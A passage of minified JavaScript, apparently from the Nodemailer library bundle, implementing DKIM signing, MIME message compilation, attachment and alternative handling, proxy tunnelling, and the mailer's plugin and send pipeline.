a||(i=(t.match(/[\x00-\x08\x0B\x0C\x0E-\x1F\u0080-\uFFFF]/g)||[]).length,e=(t.match(/[a-z]/gi)||[]).length,a=i<e?"Q":"B"),a}_generateMessageId(){return"<"+[2,2,2,6].reduce(((e,i)=>e+"-"+t.randomBytes(i).toString("hex")),t.randomBytes(4).toString("hex"))+"@"+(this.getEnvelope().from||this.hostname||"localhost").split("@").pop()+">"}}return F=g}var rt,pt,ct,lt,dt,mt,ht,ut,ft,gt,xt,vt,bt,wt,yt,_t,kt,Et={exports:{}};function At(){if(rt)return Et.exports;rt=1;const t=tt(),e=at(),i=h;function a(t,e,i){let a=new Set,s=new Set,o=new Map;(i||"").toLowerCase().split(":").forEach((t=>{s.add(t.trim())})),(e||"").toLowerCase().split(":").filter((t=>!s.has(t.trim()))).forEach((t=>{a.add(t.trim())}));for(let e=t.length-1;e>=0;e--){let i=t[e];a.has(i.key)&&!o.has(i.key)&&o.set(i.key,n(i.line))}let r=[],p=[];return a.forEach((t=>{o.has(t)&&(p.push(t),r.push(t+":"+o.get(t)))})),{headers:r.join("\r\n")+"\r\n",fieldNames:p.join(":")}}function n(t){return t.substr(t.indexOf(":")+1).replace(/\r?\n/g,"").replace(/\s+/g," ").trim()}return Et.exports=(s,o,r,p)=>{let c,l,d=a(s,(p=p||{}).headerFieldNames||"From:Sender:Reply-To:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:References:List-Id:List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive",p.skipFields),m=function(i,a,n,s,o){let r=["v=1","a=rsa-"+s,"c=relaxed/relaxed","d="+t.toASCII(i),"q=dns/txt","s="+a,"bh="+o,"h="+n].join("; ");return e.foldLines("DKIM-Signature: "+r,76)+";\r\n b="}(p.domainName,p.keySelector,d.fieldNames,o,r);d.headers+="dkim-signature:"+n(m),c=i.createSign(("rsa-"+o).toUpperCase()),c.update(d.headers);try{l=c.sign(p.privateKey,"base64")}catch(t){return!1}return m+l.replace(/(^.{73}|.{75}(?!\r?\n|\r))/g,"$&\r\n ").trim()},Et.exports.relaxedHeaders=a,Et.exports}function Tt(){if(ct)return pt;ct=1;const t=function(){if(Q)return G;Q=1;const t=p.Transform;return G=class extends t{constructor(t){super(t),this.lastBytes=Buffer.alloc(4),this.headersParsed=!1,this.headerBytes=0,this.headerChunks=[],this.rawHeaders=!1,this.bodySize=0}updateLastBytes(t){let e=this.lastBytes.length,i=Math.min(t.length,e);for(let t=0,a=e-i;t<a;t++)this.lastBytes[t]=this.lastBytes[t+i];for(let a=1;a<=i;a++)this.lastBytes[e-a]=t[t.length-a]}checkHeaders(t){if(this.headersParsed)return!0;let e=this.lastBytes.length,i=0;this.curLinePos=0;for(let a=0,n=this.lastBytes.length+t.length;a<n;a++){let n;if(n=a<e?this.lastBytes[a]:t[a-e],10===n&&a){let n=a-1<e?this.lastBytes[a-1]:t[a-1-e],s=a>1&&(a-2<e?this.lastBytes[a-2]:t[a-2-e]);if(10===n){this.headersParsed=!0,i=a-e+1,this.headerBytes+=i;break}if(13===n&&10===s){this.headersParsed=!0,i=a-e+1,this.headerBytes+=i;break}}}if(this.headersParsed){if(this.headerChunks.push(t.slice(0,i)),this.rawHeaders=Buffer.concat(this.headerChunks,this.headerBytes),this.headerChunks=null,this.emit("headers",this.parseHeaders()),t.length-1>i){let e=t.slice(i);this.bodySize+=e.length,setImmediate((()=>this.push(e)))}return!1}return this.headerBytes+=t.length,this.headerChunks.push(t),this.updateLastBytes(t),!1}_transform(t,e,i){if(!t||!t.length)return i();let a;"string"==typeof t&&(t=Buffer.from(t,e));try{a=this.checkHeaders(t)}catch(t){return i(t)}a&&(this.bodySize+=t.length,this.push(t)),setImmediate(i)}_flush(t){if(this.headerChunks){let t=Buffer.concat(this.headerChunks,this.headerBytes);this.bodySize+=t.length,this.push(t),this.headerChunks=null}t()}parseHeaders(){let t=(this.rawHeaders||"").toString().split(/\r?\n/);for(let e=t.length-1;e>0;e--)/^\s/.test(t[e])&&(t[e-1]+="\n"+t[e],t.splice(e,1));return t.filter((t=>t.trim())).map((t=>({key:t.substr(0,t.indexOf(":")).trim().toLowerCase(),line:t})))}}}(),e=function(){if(X)return V;X=1;const t=p.Transform,e=h;return V=class extends t{constructor(t){super(),t=t||{},this.chunkBuffer=[],this.chunkBufferLen=0,this.bodyHash=e.createHash(t.hashAlgo||"sha1"),this.remainder="",this.byteLength=0,this.debug=t.debug,this._debugBody=!!t.debug&&[]}updateHash(t){let e,i="",a="file";for(let e=t.length-1;e>=0;e--){let n=t[e];if("file"!==a||10!==n&&13!==n)if("file"!==a||9!==n&&32!==n){if(("line"!==a||9!==n&&32!==n)&&("file"===a||"line"===a)&&(a="body",e===t.length-1))break}else a="line";if(0===e){if("file"===a&&(!this.remainder||/[\r\n]$/.test(this.remainder))||"line"===a&&(!this.remainder||/[ \t]$/.test(this.remainder)))return void(this.remainder+=t.toString("binary"));if("line"===a||"file"===a){i=t.toString("binary"),t=!1;break}}if("body"===a){i=t.slice(e+1).toString("binary"),t=t.slice(0,e+1);break}}let n=!!this.remainder;if(t&&!n)for(let e=0,i=t.length;e<i;e++){if(e&&10===t[e]&&13!==t[e-1]){n=!0;break}if(e&&13===t[e]&&32===t[e-1]){n=!0;break}if(e&&32===t[e]&&32===t[e-1]){n=!0;break}if(9===t[e]){n=!0;break}}n?(e=this.remainder+(t?t.toString("binary"):""),this.remainder=i,e=e.replace(/\r?\n/g,"\n").replace(/[ \t]*$/gm,"").replace(/[ \t]+/gm," ").replace(/\n/g,"\r\n"),t=Buffer.from(e,"binary")):i&&(this.remainder=i),this.debug&&this._debugBody.push(t),this.bodyHash.update(t)}_transform(t,e,i){if(!t||!t.length)return i();"string"==typeof t&&(t=Buffer.from(t,e)),this.updateHash(t),this.byteLength+=t.length,this.push(t),i()}_flush(t){/[\r\n]$/.test(this.remainder)&&this.byteLength>2&&this.bodyHash.update(Buffer.from("\r\n")),this.byteLength||this.push(Buffer.from("\r\n")),this.emit("hash",this.bodyHash.digest("base64"),!!this.debug&&Buffer.concat(this._debugBody)),t()}}}(),i=At(),a=p.PassThrough,s=n,o=m,r=h;class c{constructor(t,e,i,a){this.options=t||{},this.keys=e,this.cacheTreshold=Number(this.options.cacheTreshold)||131072,this.hashAlgo=this.options.hashAlgo||"sha256",this.cacheDir=this.options.cacheDir||!1,this.chunks=[],this.chunklen=0,this.readPos=0,this.cachePath=!!this.cacheDir&&o.join(this.cacheDir,"message."+Date.now()+"-"+r.randomBytes(14).toString("hex")),this.cache=!1,this.headers=!1,this.bodyHash=!1,this.parser=!1,this.relaxedBody=!1,this.input=i,this.output=a,this.output.usingCache=!1,this.hasErrored=!1,this.input.on("error",(t=>{this.hasErrored=!0,this.cleanup(),a.emit("error",t)}))}cleanup(){this.cache&&this.cachePath&&s.unlink(this.cachePath,(()=>!1))}createReadCache(){this.cache=s.createReadStream(this.cachePath),this.cache.once("error",(t=>{this.cleanup(),this.output.emit("error",t)})),this.cache.once("close",(()=>{this.cleanup()})),this.cache.pipe(this.output)}sendNextChunk(){if(this.hasErrored)return;if(this.readPos>=this.chunks.length)return this.cache?this.createReadCache():this.output.end();let t=this.chunks[this.readPos++];if(!1===this.output.write(t))return this.output.once("drain",(()=>{this.sendNextChunk()}));setImmediate((()=>this.sendNextChunk()))}sendSignedOutput(){let t=0,e=()=>{if(t>=this.keys.length)return this.output.write(this.parser.rawHeaders),setImmediate((()=>this.sendNextChunk()));let a=this.keys[t++],n=i(this.headers,this.hashAlgo,this.bodyHash,{domainName:a.domainName,keySelector:a.keySelector,privateKey:a.privateKey,headerFieldNames:this.options.headerFieldNames,skipFields:this.options.skipFields});return n&&this.output.write(Buffer.from(n+"\r\n")),setImmediate(e)};if(this.bodyHash&&this.headers)return e();this.output.write(this.parser.rawHeaders),this.sendNextChunk()}createWriteCache(){this.output.usingCache=!0,this.cache=s.createWriteStream(this.cachePath),this.cache.once("error",(t=>{this.cleanup(),this.relaxedBody.unpipe(this.cache),this.relaxedBody.on("readable",(()=>{for(;null!==this.relaxedBody.read(););})),this.hasErrored=!0,this.output.emit("error",t)})),this.cache.once("close",(()=>{this.sendSignedOutput()})),this.relaxedBody.removeAllListeners("readable"),this.relaxedBody.pipe(this.cache)}signStream(){this.parser=new t,this.relaxedBody=new e({hashAlgo:this.hashAlgo}),this.parser.on("headers",(t=>{this.headers=t})),this.relaxedBody.on("hash",(t=>{this.bodyHash=t})),this.relaxedBody.on("readable",(()=>{let t;if(!this.cache)for(;null!==(t=this.relaxedBody.read());)if(this.chunks.push(t),this.chunklen+=t.length,this.chunklen>=this.cacheTreshold&&this.cachePath)return this.createWriteCache()})),this.relaxedBody.on("end",(()=>{this.cache||this.sendSignedOutput()})),this.parser.pipe(this.relaxedBody),setImmediate((()=>this.input.pipe(this.parser)))}}return pt=class{constructor(t){this.options=t||{},this.keys=[].concat(this.options.keys||{domainName:t.domainName,keySelector:t.keySelector,privateKey:t.privateKey})}sign(t,e){let i=new a,n=t,s=!1;Buffer.isBuffer(t)?(s=t,n=new a):"string"==typeof t&&(s=Buffer.from(t),n=new a);let o=this.options;e&&Object.keys(e).length&&(o={},Object.keys(this.options||{}).forEach((t=>{o[t]=this.options[t]})),Object.keys(e||{}).forEach((t=>{t in o||(o[t]=e[t])})));let r=new c(o,this.keys,n,i);return setImmediate((()=>{r.signStream(),s&&setImmediate((()=>{n.end(s)}))})),i}}}function St(){if(ft)return ut;ft=1;const t=e,n=Y(),s=Z(),o=function(){if($)return K;$=1;const t=ot(),e=at(),i=Y().parseDataURI;return K=class{constructor(t){this.mail=t||{},this.message=!1}compile(){return this._alternatives=this.getAlternatives(),this._htmlNode=this._alternatives.filter((t=>/^text\/html\b/i.test(t.contentType))).pop(),this._attachments=this.getAttachments(!!this._htmlNode),this._useRelated=!(!this._htmlNode||!this._attachments.related.length),this._useAlternative=this._alternatives.length>1,this._useMixed=this._attachments.attached.length>1||this._alternatives.length&&1===this._attachments.attached.length,this.mail.raw?this.message=new t("message/rfc822",{newline:this.mail.newline}).setRaw(this.mail.raw):this._useMixed?this.message=this._createMixed():this._useAlternative?this.message=this._createAlternative():this._useRelated?this.message=this._createRelated():this.message=this._createContentNode(!1,[].concat(this._alternatives||[]).concat(this._attachments.attached||[]).shift()||{contentType:"text/plain",content:""}),this.mail.headers&&this.message.addHeader(this.mail.headers),["from","sender","to","cc","bcc","reply-to","in-reply-to","references","subject","message-id","date"].forEach((t=>{let e=t.replace(/-(\w)/g,((t,e)=>e.toUpperCase()));this.mail[e]&&this.message.setHeader(t,this.mail[e])})),this.mail.envelope&&this.message.setEnvelope(this.mail.envelope),this.message.messageId(),this.message}getAttachments(t){let i,a,n=[].concat(this.mail.attachments||[]).map(((t,i)=>{let a,n=/^message\//i.test(t.contentType);/^data:/i.test(t.path||t.href)&&(t=this._processDataUrl(t));let s=t.contentType||e.detectMimeType(t.filename||t.path||t.href||"bin"),o=/^image\//i.test(s);return a={contentType:s,contentDisposition:t.contentDisposition||(n||o&&t.cid?"inline":"attachment"),contentTransferEncoding:"contentTransferEncoding"in t?t.contentTransferEncoding:"base64"},t.filename?a.filename=t.filename:n||!1===t.filename||(a.filename=(t.path||t.href||"").split("/").pop().split("?").shift()||"attachment-"+(i+1),a.filename.indexOf(".")<0&&(a.filename+="."+e.detectExtension(a.contentType))),/^https?:\/\//i.test(t.path)&&(t.href=t.path,t.path=void 0),t.cid&&(a.cid=t.cid),t.raw?a.raw=t.raw:t.path?a.content={path:t.path}:t.href?a.content={href:t.href,httpHeaders:t.httpHeaders}:a.content=t.content||"",t.encoding&&(a.encoding=t.encoding),t.headers&&(a.headers=t.headers),a}));return this.mail.icalEvent&&(i="object"==typeof this.mail.icalEvent&&(this.mail.icalEvent.content||this.mail.icalEvent.path||this.mail.icalEvent.href||this.mail.icalEvent.raw)?this.mail.icalEvent:{content:this.mail.icalEvent},a={},Object.keys(i).forEach((t=>{a[t]=i[t]})),a.contentType="application/ics",a.headers||(a.headers={}),a.filename=a.filename||"invite.ics",a.headers["Content-Disposition"]="attachment",a.headers["Content-Transfer-Encoding"]="base64"),t?{attached:n.filter((t=>!t.cid)).concat(a||[]),related:n.filter((t=>!!t.cid))}:{attached:n.concat(a||[]),related:[]}}getAlternatives(){let t,i,a,n,s,o,r=[];return this.mail.text&&(t="object"==typeof this.mail.text&&(this.mail.text.content||this.mail.text.path||this.mail.text.href||this.mail.text.raw)?this.mail.text:{content:this.mail.text},t.contentType="text/plain; charset=utf-8"),this.mail.watchHtml&&(a="object"==typeof this.mail.watchHtml&&(this.mail.watchHtml.content||this.mail.watchHtml.path||this.mail.watchHtml.href||this.mail.watchHtml.raw)?this.mail.watchHtml:{content:this.mail.watchHtml},a.contentType="text/watch-html; charset=utf-8"),this.mail.amp&&(n="object"==typeof this.mail.amp&&(this.mail.amp.content||this.mail.amp.path||this.mail.amp.href||this.mail.amp.raw)?this.mail.amp:{content:this.mail.amp},n.contentType="text/x-amp-html; charset=utf-8"),this.mail.icalEvent&&(s="object"==typeof this.mail.icalEvent&&(this.mail.icalEvent.content||this.mail.icalEvent.path||this.mail.icalEvent.href||this.mail.icalEvent.raw)?this.mail.icalEvent:{content:this.mail.icalEvent},o={},Object.keys(s).forEach((t=>{o[t]=s[t]})),o.content&&"object"==typeof o.content&&(o.content._resolve=!0),o.filename=!1,o.contentType="text/calendar; charset=utf-8; method="+(o.method||"PUBLISH").toString().trim().toUpperCase(),o.headers||(o.headers={})),this.mail.html&&(i="object"==typeof this.mail.html&&(this.mail.html.content||this.mail.html.path||this.mail.html.href||this.mail.html.raw)?this.mail.html:{content:this.mail.html},i.contentType="text/html; charset=utf-8"),[].concat(t||[]).concat(a||[]).concat(n||[]).concat(i||[]).concat(o||[]).concat(this.mail.alternatives||[]).forEach((t=>{let i;/^data:/i.test(t.path||t.href)&&(t=this._processDataUrl(t)),i={contentType:t.contentType||e.detectMimeType(t.filename||t.path||t.href||"txt"),contentTransferEncoding:t.contentTransferEncoding},t.filename&&(i.filename=t.filename),/^https?:\/\//i.test(t.path)&&(t.href=t.path,t.path=void 0),t.raw?i.raw=t.raw:t.path?i.content={path:t.path}:t.href?i.content={href:t.href}:i.content=t.content||"",t.encoding&&(i.encoding=t.encoding),t.headers&&(i.headers=t.headers),r.push(i)})),r}_createMixed(e){let i;return i=e?e.createChild("multipart/mixed",{disableUrlAccess:this.mail.disableUrlAccess,disableFileAccess:this.mail.disableFileAccess,normalizeHeaderKey:this.mail.normalizeHeaderKey,newline:this.mail.newline}):new t("multipart/mixed",{baseBoundary:this.mail.baseBoundary,textEncoding:this.mail.textEncoding,boundaryPrefix:this.mail.boundaryPrefix,disableUrlAccess:this.mail.disableUrlAccess,disableFileAccess:this.mail.disableFileAccess,normalizeHeaderKey:this.mail.normalizeHeaderKey,newline:this.mail.newline}),this._useAlternative?this._createAlternative(i):this._useRelated&&this._createRelated(i),[].concat(!this._useAlternative&&this._alternatives||[]).concat(this._attachments.attached||[]).forEach((t=>{this._useRelated&&t===this._htmlNode||this._createContentNode(i,t)})),i}_createAlternative(e){let i;return i=e?e.createChild("multipart/alternative",{disableUrlAccess:this.mail.disableUrlAccess,disableFileAccess:this.mail.disableFileAccess,normalizeHeaderKey:this.mail.normalizeHeaderKey,newline:this.mail.newline}):new t("multipart/alternative",{baseBoundary:this.mail.baseBoundary,textEncoding:this.mail.textEncoding,boundaryPrefix:this.mail.boundaryPrefix,disableUrlAccess:this.mail.disableUrlAccess,disableFileAccess:this.mail.disableFileAccess,normalizeHeaderKey:this.mail.normalizeHeaderKey,newline:this.mail.newline}),this._alternatives.forEach((t=>{this._useRelated&&this._htmlNode===t?this._createRelated(i):this._createContentNode(i,t)})),i}_createRelated(e){let i;return i=e?e.createChild('multipart/related; type="text/html"',{disableUrlAccess:this.mail.disableUrlAccess,disableFileAccess:this.mail.disableFileAccess,normalizeHeaderKey:this.mail.normalizeHeaderKey,newline:this.mail.newline}):new t('multipart/related; type="text/html"',{baseBoundary:this.mail.baseBoundary,textEncoding:this.mail.textEncoding,boundaryPrefix:this.mail.boundaryPrefix,disableUrlAccess:this.mail.disableUrlAccess,disableFileAccess:this.mail.disableFileAccess,normalizeHeaderKey:this.mail.normalizeHeaderKey,newline:this.mail.newline}),this._createContentNode(i,this._htmlNode),this._attachments.related.forEach((t=>this._createContentNode(i,t))),i}_createContentNode(e,i){let a;(i=i||{}).content=i.content||"";let n=(i.encoding||"utf8").toString().toLowerCase().replace(/[-_\s]/g,"");return a=e?e.createChild(i.contentType,{filename:i.filename,textEncoding:this.mail.textEncoding,disableUrlAccess:this.mail.disableUrlAccess,disableFileAccess:this.mail.disableFileAccess,normalizeHeaderKey:this.mail.normalizeHeaderKey,newline:this.mail.newline}):new t(i.contentType,{filename:i.filename,baseBoundary:this.mail.baseBoundary,textEncoding:this.mail.textEncoding,boundaryPrefix:this.mail.boundaryPrefix,disableUrlAccess:this.mail.disableUrlAccess,disableFileAccess:this.mail.disableFileAccess,normalizeHeaderKey:this.mail.normalizeHeaderKey,newline:this.mail.newline}),i.headers&&a.addHeader(i.headers),i.cid&&a.setHeader("Content-Id","<"+i.cid.replace(/[<>]/g,"")+">"),i.contentTransferEncoding?a.setHeader("Content-Transfer-Encoding",i.contentTransferEncoding):this.mail.encoding&&/^text\//i.test(i.contentType)&&a.setHeader("Content-Transfer-Encoding",this.mail.encoding),/^text\//i.test(i.contentType)&&!i.contentDisposition||a.setHeader("Content-Disposition",i.contentDisposition||(i.cid&&/^image\//i.test(i.contentType)?"inline":"attachment")),"string"!=typeof i.content||["utf8","usascii","ascii"].includes(n)||(i.content=Buffer.from(i.content,n)),i.raw?a.setRaw(i.raw):a.setContent(i.content),a}_processDataUrl(t){let e;return(t.path||t.href).match(/^data:/)&&(e=i(t.path||t.href)),e?(t.content=e.data,t.contentType=t.contentType||e.contentType,"path"in t&&(t.path=!1),"href"in t&&(t.href=!1),t):t}}}(),r=Tt(),p=function(){if(dt)return lt;dt=1;const t=c,e=u,a=i;return lt=function i(n,s,o,r){let p,c,l,d=a.parse(n);p={host:d.hostname,port:Number(d.port)?Number(d.port):"https:"===d.protocol?443:80},"https:"===d.protocol?(p.rejectUnauthorized=!1,c=e.connect.bind(e)):c=t.connect.bind(t);let m=!1,h=t=>{if(!m){m=!0;try{l.destroy()}catch(t){}r(t)}},u=()=>{let t=new Error("Proxy socket timed out");t.code="ETIMEDOUT",h(t)};l=c(p,(()=>{if(m)return;let t={Host:o+":"+s,Connection:"close"};d.auth&&(t["Proxy-Authorization"]="Basic "+Buffer.from(d.auth).toString("base64")),l.write("CONNECT "+o+":"+s+" HTTP/1.1\r\n"+Object.keys(t).map((e=>e+": "+t[e])).join("\r\n")+"\r\n\r\n");let e="",i=t=>{let a,n;if(!m&&(e+=t.toString("binary"),a=e.match(/\r\n\r\n/))){if(l.removeListener("data",i),n=e.substr(a.index+a[0].length),e=e.substr(0,a.index),n&&l.unshift(Buffer.from(n,"binary")),m=!0,a=e.match(/^HTTP\/\d+\.\d+ (\d+)/i),!a||"2"!==(a[1]||"").charAt(0)){try{l.destroy()}catch(t){}return r(new Error("Invalid response from proxy"+(a&&": "+a[1]||"")))}return l.removeListener("error",h),l.removeListener("timeout",u),l.setTimeout(0),r(null,l)}};l.on("data",i)})),l.setTimeout(i.timeout||3e4),l.on("timeout",u),l.once("error",h)},lt}(),d=a,m=i,f=J,g=function(){if(ht)return mt;ht=1;const t=Y(),e=ot(),i=at();return mt=class{constructor(t,e){this.mailer=t,this.data={},this.message=null,e=e||{};let i=t.options||{},a=t._defaults||{};Object.keys(e).forEach((t=>{this.data[t]=e[t]})),this.data.headers=this.data.headers||{},Object.keys(a).forEach((t=>{t in this.data?"headers"===t&&Object.keys(a.headers).forEach((t=>{t in this.data.headers||(this.data.headers[t]=a.headers[t])})):this.data[t]=a[t]})),["disableFileAccess","disableUrlAccess","normalizeHeaderKey"].forEach((t=>{t in i&&(this.data[t]=i[t])}))}resolveContent(...e){return t.resolveContent(...e)}resolveAll(a){let n=[[this.data,"html"],[this.data,"text"],[this.data,"watchHtml"],[this.data,"amp"],[this.data,"icalEvent"]];this.data.alternatives&&this.data.alternatives.length&&this.data.alternatives.forEach(((t,e)=>{n.push([this.data.alternatives,e])})),this.data.attachments&&this.data.attachments.length&&this.data.attachments.forEach(((t,e)=>{t.filename||(t.filename=(t.path||t.href||"").split("/").pop().split("?").shift()||"attachment-"+(e+1),t.filename.indexOf(".")<0&&(t.filename+="."+i.detectExtension(t.contentType))),t.contentType||(t.contentType=i.detectMimeType(t.filename||t.path||t.href||"bin")),n.push([this.data.attachments,e])}));let s=new e;["from","to","cc","bcc","sender","replyTo"].forEach((t=>{let e;this.message?e=[].concat(s._parseAddresses(this.message.getHeader("replyTo"===t?"reply-to":t))||[]):this.data[t]&&(e=[].concat(s._parseAddresses(this.data[t])||[])),e&&e.length?this.data[t]=e:t in this.data&&(this.data[t]=null)})),["from","sender"].forEach((t=>{this.data[t]&&(this.data[t]=this.data[t].shift())}));let o=0,r=()=>{if(o>=n.length)return a(null,this.data);let e=n[o++];if(!e[0]||!e[0][e[1]])return r();t.resolveContent(...e,((t,i)=>{if(t)return a(t);let n={content:i};e[0][e[1]]&&"object"==typeof e[0][e[1]]&&!Buffer.isBuffer(e[0][e[1]])&&Object.keys(e[0][e[1]]).forEach((t=>{t in n||["content","path","href","raw"].includes(t)||(n[t]=e[0][e[1]][t])})),e[0][e[1]]=n,r()}))};setImmediate((()=>r()))}normalize(t){let e=this.data.envelope||this.message.getEnvelope(),i=this.message.messageId();this.resolveAll(((a,n)=>a?t(a):(n.envelope=e,n.messageId=i,["html","text","watchHtml","amp"].forEach((t=>{n[t]&&n[t].content&&("string"==typeof n[t].content?n[t]=n[t].content:Buffer.isBuffer(n[t].content)&&(n[t]=n[t].content.toString()))})),n.icalEvent&&Buffer.isBuffer(n.icalEvent.content)&&(n.icalEvent.content=n.icalEvent.content.toString("base64"),n.icalEvent.encoding="base64"),n.alternatives&&n.alternatives.length&&n.alternatives.forEach((t=>{t&&t.content&&Buffer.isBuffer(t.content)&&(t.content=t.content.toString("base64"),t.encoding="base64")})),n.attachments&&n.attachments.length&&n.attachments.forEach((t=>{t&&t.content&&Buffer.isBuffer(t.content)&&(t.content=t.content.toString("base64"),t.encoding="base64")})),n.normalizedHeaders={},Object.keys(n.headers||{}).forEach((t=>{let e=[].concat(n.headers[t]||[]).shift();e=e&&e.value||e,e&&(["references","in-reply-to","message-id","content-id"].includes(t)&&(e=this.message._encodeHeaderValue(t,e)),n.normalizedHeaders[t]=e)})),n.list&&"object"==typeof n.list&&this._getListHeaders(n.list).forEach((t=>{n.normalizedHeaders[t.key]=t.value.map((t=>t&&t.value||t)).join(", ")})),n.references&&(n.normalizedHeaders.references=this.message._encodeHeaderValue("references",n.references)),n.inReplyTo&&(n.normalizedHeaders["in-reply-to"]=this.message._encodeHeaderValue("in-reply-to",n.inReplyTo)),t(null,n))))}setMailerHeader(){this.message&&this.data.xMailer&&this.message.setHeader("X-Mailer",this.data.xMailer)}setPriorityHeaders(){if(this.message&&this.data.priority)switch((this.data.priority||"").toString().toLowerCase()){case"high":this.message.setHeader("X-Priority","1 (Highest)"),this.message.setHeader("X-MSMail-Priority","High"),this.message.setHeader("Importance","High");break;case"low":this.message.setHeader("X-Priority","5 (Lowest)"),this.message.setHeader("X-MSMail-Priority","Low"),this.message.setHeader("Importance","Low")}}setListHeaders(){this.message&&this.data.list&&"object"==typeof this.data.list&&this.data.list&&"object"==typeof this.data.list&&this._getListHeaders(this.data.list).forEach((t=>{t.value.forEach((e=>{this.message.addHeader(t.key,e)}))}))}_getListHeaders(t){return Object.keys(t).map((e=>({key:"list-"+e.toLowerCase().trim(),value:[].concat(t[e]||[]).map((t=>({prepared:!0,foldLines:!0,value:[].concat(t||[]).map((t=>{if("string"==typeof t&&(t={url:t}),t&&t.url){if("id"===e.toLowerCase().trim()){let e=t.comment||"";return e=i.isPlainText(e)?'"'+e+'"':i.encodeWord(e),(t.comment?e+" ":"")+this._formatListUrl(t.url).replace(/^<[^:]+\/{,2}/,"")}let a=t.comment||"";return i.isPlainText(a)||(a=i.encodeWord(a)),this._formatListUrl(t.url)+(t.comment?" ("+a+")":"")}return""})).filter((t=>t)).join(", ")})))})))}_formatListUrl(t){return t=t.replace(/[\s<]+|[\s>]+/g,""),/^(https?|mailto|ftp):/.test(t)?"<"+t+">":/^[^@]+@[^@]+$/.test(t)?"<mailto:"+t+">":"<http://"+t+">"}},mt}(),x=c,v=l,b=h;return ut=class extends t{constructor(t,e,i){super(),this.options=e||{},this._defaults=i||{},this._defaultPlugins={compile:[(...t)=>this._convertDataImages(...t)],stream:[]},this._userPlugins={compile:[],stream:[]},this.meta=new Map,this.dkim=!!this.options.dkim&&new r(this.options.dkim),this.transporter=t,this.transporter.mailer=this,this.logger=n.getLogger(this.options,{component:this.options.component||"mail"}),this.logger.debug({tnx:"create"},"Creating transport: %s",this.getVersionString()),"function"==typeof this.transporter.on&&(this.transporter.on("log",(t=>{this.logger.debug({tnx:"transport"},"%s: %s",t.type,t.message)})),this.transporter.on("error",(t=>{this.logger.error({err:t,tnx:"transport"},"Transport Error: %s",t.message),this.emit("error",t)})),this.transporter.on("idle",((...t)=>{this.emit("idle",...t)}))),["close","isIdle","verify"].forEach((t=>{this[t]=(...e)=>"function"==typeof this.transporter[t]?("verify"===t&&"function"==typeof this.getSocket&&(this.transporter.getSocket=this.getSocket,this.getSocket=!1),this.transporter[t](...e)):(this.logger.warn({tnx:"transport",methodName:t},"Non existing method %s called for transport",t),!1)})),this.options.proxy&&"string"==typeof this.options.proxy&&this.setupProxy(this.options.proxy)}use(t,e){return t=(t||"").toString(),this._userPlugins.hasOwnProperty(t)?this._userPlugins[t].push(e):this._userPlugins[t]=[e],this}sendMail(t,e=null){let i;e||(i=new Promise(((t,i)=>{e=n.callbackPromise(t,i)}))),"function"==typeof this.getSocket&&(this.transporter.getSocket=this.getSocket,this.getSocket=!1);let a=new g(this,t);return this.logger.debug({tnx:"transport",name:this.transporter.name,version:this.transporter.version,action:"send"},"Sending mail using %s/%s",this.transporter.name,this.transporter.version),this._processPlugins("compile",a,(t=>{if(t)return this.logger.error({err:t,tnx:"plugin",action:"compile"},"PluginCompile Error: %s",t.message),e(t);a.message=new o(a.data).compile(),a.setMailerHeader(),a.setPriorityHeaders(),a.setListHeaders(),this._processPlugins("stream",a,(t=>{if(t)return this.logger.error({err:t,tnx:"plugin",action:"stream"},"PluginStream Error: %s",t.message),e(t);(a.data.dkim||this.dkim)&&a.message.processFunc((t=>{let e=a.data.dkim?new r(a.data.dkim):this.dkim;return this.logger.debug({tnx:"DKIM",messageId:a.message.messageId(),dkimDomains:e.keys.map((t=>t.keySelector+"."+t.domainName)).join(", ")},"Signing outgoing message with %s keys",e.keys.length),e.sign(t,a.data._dkim)})),this.transporter.send(a,((...t)=>{t[0]&&this.logger.error({err:t[0],tnx:"transport",action:"send"},"Send Error: %s",t[0].message),e(...t)}))}))})),i}getVersionString(){return d.format("%s (%s; +%s; %s/%s)",f.name,f.version,f.homepage,this.transporter.name,this.transporter.version)}_processPlugins(t,e,i){if(t=(t||"").toString(),!this._userPlugins.hasOwnProperty(t))return i();let a=this._userPlugins[t]||[],n=this._defaultPlugins[t]||[];if(a.length&&this.logger.debug({tnx:"transaction",pluginCount:a.length,step:t},"Using %s plugins for %s",a.length,t),a.length+n.length===0)return i();let s=0,o="default",r=()=>{let t="default"===o?n:a;if(s>=t.length){if("default"!==o||!a.length)return i();o="user",s=0,t=a}(0,t[s++])(e,(t=>{if(t)return i(t);r()}))};r()}setupProxy(t){let e=m.parse(t);this.getSocket=(t,i)=>{let a=e.protocol.replace(/:$/,"").toLowerCase();if(this.meta.has("proxy_handler_"+a))return this.meta.get("proxy_handler_"+a)(e,t,i);switch(a){case"http":case"https":return void p(e.href,t.port,t.host,((t,e)=>t?i(t):i(null,{connection:e})));case"socks":case"socks5":case"socks4":case"socks4a":{if(!this.meta.has("proxy_socks_module"))return i(new Error("Socks module not loaded"));let a=a=>{let n=!!this.meta.get("proxy_socks_module").SocksClient,s=n?this.meta.get("proxy_socks_module").SocksClient:this.meta.get("proxy_socks_module"),o=Number(e.protocol.replace(/\D/g,""))||5,r={proxy:{ipaddress:a,port:Number(e.port),type:o},[n?"destination":"target"]:{host:t.host,port:t.port},command:"connect"};if(e.auth){let t=decodeURIComponent(e.auth.split(":").shift()),i=decodeURIComponent(e.auth.split(":").pop());n?(r.proxy.userId=t,r.proxy.password=i):4===o?r.userid=t:r.authentication={username:t,password:i}}s.createConnection(r,((t,e)=>t?i(t):i(null,{connection:e.socket||e})))};return x.isIP(e.hostname)?a(e.hostname):v.resolve(e.hostname,((t,e)=>{if(t)return i(t);a(Array.isArray(e)?e[0]:e)}))}}i(new Error("Unknown proxy configuration"))}}_convertDataImages(t,e){if(!this.options.attachDataUrls&&!t.data.attachDataUrls||!t.data.html)return e();t.resolveContent(t.data,"html",((i,a)=>{if(i)return e(i);let n=0;a=(a||"").toString().replace(/(<img\b[^<>]{0,1024} src\s{0,20}=[\s"']{0,20})(data:([^;]+);[^"'>\s]+)/gi,((e,i,a,o)=>{let r=b.randomBytes(10).toString("hex")+"@localhost";return t.data.attachments||(t.data.attachments=[]),Array.isArray(t.data.attachments)||(t.data.attachments=[].concat(t.data.attachments||[])),t.data.attachments.push({path:a,cid:r,filename:"image-"+ 